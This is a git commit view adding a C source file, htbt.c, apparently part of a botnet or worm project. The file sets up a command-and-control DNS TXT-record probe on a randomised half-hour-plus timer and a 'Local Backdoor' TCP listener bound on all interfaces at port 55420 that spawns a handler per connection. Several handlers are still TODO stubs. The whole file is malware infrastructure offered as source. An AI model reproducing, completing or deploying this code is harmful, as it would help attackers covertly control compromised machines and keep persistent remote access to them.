aboutsummaryrefslogtreecommitdiff
path: root/src/htbt.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-08-24 09:37:43 +0930
committerDavid Timber <mieabby@gmail.com>2020-08-24 10:05:29 +0930
commitacf0b7a45171555eba2c10a6ef84f915c62f6791 (patch)
tree7253e8d86a199948530671c8bf59ecbb2c6e08f8 /src/htbt.c
parent076671e7aa28451de087088c2e47f9e6064ae434 (diff)
* htbt checkpoint
* Change PRNE_BUILD_ENTROPY to uint8_t array * endian.h problem * Remove "-I." CFLAG added by Automake () * Moved endian conversion macros to endian.h * Moved DNS server config from config.h to resolv.h to reduce compile time * Refactor resolv_ensure_act_dns_fd() to reduce binary size
Diffstat (limited to 'src/htbt.c')
-rw-r--r--src/htbt.c387
1 files changed, 387 insertions, 0 deletions
diff --git a/src/htbt.c b/src/htbt.c
new file mode 100644
index 0000000..502c1e4
--- /dev/null
+++ b/src/htbt.c
@@ -0,0 +1,387 @@
+#include "htbt.h"
+#include "util_rt.h"
+#include "protocol.h"
+#include "llist.h"
+#include "dvault.h"
+#include "pth.h"
+#include "endian.h"
+
+#include <errno.h>
+#include <fcntl.h>
+#include <poll.h>
+
+// CNCP interval: HTBT_CNCP_INT_MIN + variance
+#define HTBT_CNCP_INT_MIN 1800000 // half an hour minimum interval
+#define HTBT_CNCP_INT_VAR 1800000 // half an hour variance
+#define HTBT_CNCP_PORT prne_htobe16(55420)
+
+typedef struct {
+ pth_t pth;
+ prne_htbt_t *parent;
+ struct pollfd pfd;
+} htbt_lbd_client_t;
+
+typedef struct {
+ pth_mutex_t lock;
+ pth_cond_t cond;
+ prne_htbt_op_t op;
+ void *req_body; // NULL if abandoned
+ prne_htbt_status_t rsp;
+} htbt_req_slip_t;
+
+struct prne_htbt {
+ pth_t sigterm_pth;
+ mbedtls_ctr_drbg_context *rnd;
+ prne_resolv_t *resolv;
+ prne_llist_t req_q;
+ bool loop_flag;
+ struct { // Main
+ pth_mutex_t lock;
+ pth_cond_t cond;
+ } main;
+ struct { // CNC DNS Record Probe
+ pth_t pth;
+ pth_mutex_t lock;
+ pth_cond_t cond;
+ prne_pth_cv_t cv;
+ } cncp;
+ struct { // Local Backdoor
+ pth_t pth;
+ struct pollfd pfd;
+ prne_llist_t conn_list; // TODO: init
+ } lbd;
+};
+
+#define HTBT_INTP_CTX(x) prne_htbt_t *ctx = (prne_htbt_t*)(x);
+
+
+static void fin_htbt_wkr (void *p) {
+ // TODO
+}
+
+static void free_htbt_wkr_ctx (void *p) {
+ HTBT_INTP_CTX(p);
+
+ // TODO
+
+ if (ctx->cncp.pth != NULL) {
+ pth_abort(ctx->cncp.pth);
+ }
+ if (ctx->lbd.pth != NULL) {
+ pth_abort(ctx->lbd.pth);
+ }
+}
+
+static void *htbt_main_entry (void *p) {
+ HTBT_INTP_CTX(p);
+
+ prne_assert(pth_resume(ctx->lbd.pth));
+ prne_assert(pth_resume(ctx->cncp.pth));
+
+ // TODO
+
+ prne_close(ctx->lbd.pfd.fd);
+ ctx->lbd.pfd.fd = -1;
+ prne_pth_cv_notify(&ctx->cncp.cv);
+ prne_assert(pth_join(ctx->lbd.pth, NULL));
+ prne_assert(pth_join(ctx->cncp.pth, NULL));
+
+ return NULL;
+}
+
+static void htbt_cncp_do_probe (prne_htbt_t *ctx) {
+ prne_resolv_prm_t prm;
+ bool r_ret;
+
+ prne_resolv_init_prm(&prm);
+
+ r_ret = prne_resolv_prm_gettxtrec(
+ ctx->resolv,
+ prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL),
+ &ctx->cncp.cv,
+ &prm);
+ if (!r_ret) {
+ return;
+ }
+
+ prne_pth_cond_timedwait(&ctx->cncp.cv, NULL, NULL);
+ if (prm.fut->qr == PRNE_RESOLV_QR_OK) {
+ // TODO
+ // <entries in hex> <txt rec name suffix>
+ }
+
+ prne_resolv_free_prm(&prm);
+}
+
+static void *htbt_cncp_entry (void *p) { // TODO: this works?
+ HTBT_INTP_CTX(p);
+ unsigned long intvar;
+ struct timespec timeout;
+
+ while (true) {
+ // calc interval variance
+ intvar = 0;
+ mbedtls_ctr_drbg_random(ctx->rnd, &intvar, sizeof(intvar));
+ intvar = HTBT_CNCP_INT_MIN + (intvar % HTBT_CNCP_INT_VAR);
+ timeout = prne_ms_timespec(intvar);
+
+ // wait
+ prne_pth_cond_timedwait(&ctx->cncp.cv, &timeout, NULL);
+ if (!ctx->loop_flag) {
+ break;
+ }
+
+ htbt_cncp_do_probe(ctx);
+ }
+
+ return NULL;
+}
+
+static void *htbt_lbd_client_entry (void *p) {
+ prne_llist_entry_t *ent = (prne_llist_entry_t*)p;
+ htbt_lbd_client_t *ctx = (htbt_lbd_client_t*)ent->element;
+
+ // TODO
+
+ prne_close(ctx->pfd.fd);
+ ctx->pfd.fd = -1;
+}
+
+static void *htbt_lbd_entry (void *p) {
+ HTBT_INTP_CTX(p);
+ int fret;
+ pth_event_t ev = NULL, ev_sub;
+ prne_llist_entry_t *ent;
+ htbt_lbd_client_t *client;
+ bool rebuild_ev = true;
+
+ while (true) {
+ if (rebuild_ev) {
+ pth_event_free(ev, TRUE);
+ ev = NULL;
+
+ ent = ctx->lbd.conn_list.head;
+ while (ent != NULL) {
+ ev_sub = pth_event(
+ PTH_EVENT_TID | PTH_STATE_DEAD,
+ ((htbt_lbd_client_t*)ent->element)->pth);
+ prne_assert(ev_sub != NULL);
+ if (ev == NULL) {
+ ev = ev_sub;
+ }
+ else {
+ prne_assert(pth_event_concat(ev, ev_sub, NULL) != NULL);
+ }
+
+ ent = ent->next;
+ }
+
+ rebuild_ev = false;
+ }
+
+ if (ctx->lbd.pfd.fd < 0) {
+ break;
+ }
+ fret = pth_poll_ev(&ctx->lbd.pfd, 1, -1, ev);
+
+ if (ev != NULL && pth_event_occurred(ev)) {
+ ent = ctx->lbd.conn_list.head;
+ while (ent != NULL) {
+ client = (htbt_lbd_client_t*)ent->element;
+
+ if (client->pfd.fd < 0) {
+ pth_join(client->pth, NULL);
+ prne_free(client);
+ ent = prne_llist_erase(&ctx->lbd.conn_list, ent);
+ rebuild_ev = true;
+ }
+ else {
+ ent = ent->next;
+ }
+ }
+ }
+
+ if (fret < 0 && errno != EINTR) {
+ break;
+ }
+ else if (fret > 0) {
+ if (ctx->lbd.pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
+ break;
+ }
+ else if (ctx->lbd.pfd.revents & POLLIN) {
+ client = NULL;
+ ent = NULL;
+ fret = accept(ctx->lbd.pfd.fd, NULL, NULL);
+ do {
+ if (fret < 0) {
+ break;
+ }
+
+ client = (htbt_lbd_client_t*)prne_malloc(
+ sizeof(htbt_lbd_client_t),
+ 1);
+ if (client == NULL) {
+ break;
+ }
+
+ client->pth = NULL;
+ client->parent = ctx;
+ client->pfd.fd = fret;
+
+ ent = prne_llist_append(&ctx->lbd.conn_list, client);
+ if (ent == NULL) {
+ break;
+ }
+
+ client->pth = pth_spawn(
+ PTH_ATTR_DEFAULT,
+ htbt_lbd_client_entry,
+ ent);
+ if (client->pth == NULL) {
+ break;
+ }
+
+ fret = -1;
+ client = NULL;
+ ent = NULL;
+ rebuild_ev = true;
+ } while (false);
+
+ if (client != NULL) {
+ if (client->pth != NULL) {
+ pth_abort(client->pth);
+ }
+ }
+ if (ent != NULL) {
+ prne_llist_erase(&ctx->lbd.conn_list, ent);
+ }
+ prne_close(fret);
+ }
+ }
+ }
+
+ pth_event_free(ev, TRUE);
+
+ ent = ctx->lbd.conn_list.head;
+ while (ent != NULL) {
+ client = (htbt_lbd_client_t*)ent->element;
+
+ prne_close(client->pfd.fd);
+ client->pfd.fd = -1;
+ pth_join(client->pth, NULL);
+
+ prne_free(client);
+
+ ent = ent->next;
+ }
+ prne_llist_clear(&ctx->lbd.conn_list);
+
+ return NULL;
+}
+
+prne_htbt_t *prne_alloc_htbt_worker (
+ prne_worker_t *w,
+ pth_t sigterm_pth,
+ prne_resolv_t *resolv,
+ mbedtls_ctr_drbg_context *ctr_drbg)
+{
+ prne_htbt_t *ret = NULL;
+ uint8_t m_sckaddr[prne_op_max(
+ sizeof(struct sockaddr_in),
+ sizeof(struct sockaddr_in6))];
+
+ if (sigterm_pth == NULL || ctr_drbg == NULL) {
+ errno = EINVAL;
+ goto ERR;
+ }
+
+ ret = prne_calloc(sizeof(prne_htbt_t), 1);
+ if (ret == NULL) {
+ goto ERR;
+ }
+
+ ret->sigterm_pth = sigterm_pth;
+ ret->rnd = ctr_drbg;
+ ret->resolv = resolv;
+ prne_init_llist(&ret->req_q);
+ ret->loop_flag = true;
+ pth_mutex_init(&ret->main.lock);
+ pth_cond_init(&ret->main.cond);
+
+ ret->cncp.pth = NULL;
+ pth_mutex_init(&ret->cncp.lock);
+ pth_cond_init(&ret->cncp.cond);
+ ret->cncp.cv.broadcast = false;
+ ret->cncp.cv.lock = &ret->cncp.lock;
+ ret->cncp.cv.cond = &ret->cncp.cond;
+
+ ret->lbd.pth = NULL;
+ ret->lbd.pfd.fd = -1;
+ prne_init_llist(&ret->lbd.conn_list);
+
+ if (resolv != NULL) {
+ ret->cncp.pth = pth_spawn(
+ PTH_ATTR_DEFAULT,
+ htbt_cncp_entry,
+ ret);
+ if (ret->cncp.pth == NULL) {
+ goto ERR;
+ }
+ if (pth_suspend(ret->cncp.pth) == 0) {
+ goto ERR;
+ }
+ }
+
+ do {
+ socklen_t sl;
+
+ memzero(m_sckaddr, sizeof(m_sckaddr));
+ if ((ret->lbd.pfd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) {
+ ((struct sockaddr_in6*)m_sckaddr)->sin6_addr = in6addr_any;
+ ((struct sockaddr_in6*)m_sckaddr)->sin6_family = AF_INET6;
+ ((struct sockaddr_in6*)m_sckaddr)->sin6_port = HTBT_CNCP_PORT;
+ sl = sizeof(struct sockaddr_in6);
+ }
+ else if ((ret->lbd.pfd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
+ ((struct sockaddr_in*)m_sckaddr)->sin_addr.s_addr = INADDR_ANY;
+ ((struct sockaddr_in*)m_sckaddr)->sin_family = AF_INET;
+ ((struct sockaddr_in*)m_sckaddr)->sin_port = HTBT_CNCP_PORT;
+ sl = sizeof(struct sockaddr_in);
+ }
+ else {
+ break;
+ }
+
+ if (fcntl(ret->lbd.pfd.fd, F_SETFL, O_NONBLOCK) != 0) {
+ break;
+ }
+ if (bind(ret->lbd.pfd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) {
+ break;
+ }
+ ret->lbd.pfd.events = POLLIN;
+
+ ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret);
+ if (pth_suspend(ret->lbd.pth) == 0) {
+ goto ERR;
+ }
+ } while (false);
+
+ if (ret->cncp.pth == NULL && ret->lbd.pth == NULL) {
+ // No producer
+ goto ERR;
+ }
+
+ w->ctx = ret;
+ w->entry = htbt_main_entry;
+ w->fin = fin_htbt_wkr;
+ w->free_ctx = free_htbt_wkr_ctx;
+
+ return ret;
+ERR:
+ if (ret != NULL) {
+ const int saved_errno = errno;
+ free_htbt_wkr_ctx(ret);
+ errno = saved_errno;
+ }
+ return NULL;
+}